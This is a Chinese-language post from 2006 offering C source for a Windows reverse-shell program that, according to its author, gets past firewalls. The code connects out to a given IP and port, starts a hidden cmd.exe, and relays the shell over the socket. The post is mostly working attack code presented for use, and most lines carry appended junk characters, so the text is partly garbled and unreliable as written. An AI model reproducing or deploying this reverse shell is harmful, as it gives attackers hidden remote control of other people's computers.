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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ht=6P)  
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/* ============================== gN!E*@7  
Rebound port in Windows NT +hyWo]nW0  
By wind,2006/7 yp^[]Mz=  
===============================*/ .JD4gF2N  
#include mER8> <  
#include VFO&)E/-  
"t%1@b*u  
#pragma comment(lib,"wsock32.lib") O0=,&=i  
z6L>!=  
void OutputShell(); %Zv(gI`A  
SOCKET sClient; I 1VEm?CQ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?-.Ep0/  
cciAMQhA  
void main(int argc,char **argv) r:8]\RU  
{ ]\os`At  
WSADATA stWsaData; P98X[0&  
int nRet; -UD~>s  
SOCKADDR_IN stSaiClient,stSaiServer; NZ%~n:/V#  
?V\9,BTb)  
if(argc != 3) KHc/x8^9  
{ "[".3V  
printf("Useage:\n\rRebound DestIP DestPort\n"); }G,SqpcG  
return; @6i8RmOu}  
} &=6cz$]z  
iuU3*yyn  
WSAStartup(MAKEWORD(2,2),&stWsaData); :UJUh/U  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #by9D&QP]  
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stSaiClient.sin_family = AF_INET; ^b `>/>  
stSaiClient.sin_port = htons(0); 13>3R+o  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); e2Kpx8kWj  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N`|Ab(.  
{ 13_+$DhU-L  
printf("Bind Socket Failed!\n"); x4HMT/@AG2  
return; 'j,Li(@}  
} OCOO02Wq1  
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stSaiServer.sin_family = AF_INET; p$b= r+1f  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); thm3JfQt  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1A/c/iC  
ncw?;  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I$6 f.W  
{ :9rhv{6Wp  
printf("Connect Error!"); ubN"(F:!-S  
return; s>M~g,xTU  
} X-ki%jp3  
OutputShell(); Zm8 u:  
} +'&_V011<  
I}G}+0geV  
void OutputShell() `6S=KRv  
{ ,C'w(af@}  
char szBuff[1024]; sh)) [V"8  
SECURITY_ATTRIBUTES stSecurityAttributes; @<w9fzi  
OSVERSIONINFO stOsversionInfo; vA7jZw  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; A2O_pbQti  
STARTUPINFO stStartupInfo; e=F( Zf+1^  
char *szShell; 9snyX7/!L  
PROCESS_INFORMATION stProcessInformation; '__3[D  
unsigned long lBytesRead; ZNH*[[Pf  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); NV:XPw/  
 eS@!\H x  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); '*LN)E> d  
stSecurityAttributes.lpSecurityDescriptor = 0; hZ\W ?r  
stSecurityAttributes.bInheritHandle = TRUE; 9bcyPN  
E[Ws} n.  
fF-\TW  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #+ lq7HJ1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Sc"4%L  
6q uWO2x  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D@b<}J>0'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T~~$=vP9  
stStartupInfo.wShowWindow = SW_HIDE; `Py= ?[cD  
stStartupInfo.hStdInput = hReadPipe; 3_eml\CY  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?o(X0  
b\Xu1>  
GetVersionEx(&stOsversionInfo); +_XbHjhN/  
V8U`%/`N  
switch(stOsversionInfo.dwPlatformId) A*;^F]~'  
{ g;Sg 2  
case 1: )6R#k8'ERr  
szShell = "command.com"; !9<RWNKV)Y  
break; [?f.0q  
default: g /@yK  
szShell = "cmd.exe"; UG?C=Tf  
break; 5@Lxbe( q  
} 0) Um W{  
VU0tyj$  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .]ZuG  
acju!,G  
send(sClient,szMsg,77,0); Py25k 0j!  
while(1) c'Tu,-  
{ 7D~O/#dcc  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =5=Vm[  
if(lBytesRead) y>cmKE  
{ w3bH|VnU8;  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5NvyK[w]  
send(sClient,szBuff,lBytesRead,0); ${?exnb$  
} 8 W<)c  
else &'ETx"  
{ QKaj4?p$|S  
lBytesRead=recv(sClient,szBuff,1024,0); ut5!2t$c  
if(lBytesRead<=0) break; 6ewOZ,"j"4  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); a&c#* 9t{  
} [11-`v0  
} A%w]~ chC9  
}:D~yEP  
return; Z a1|fB  
}
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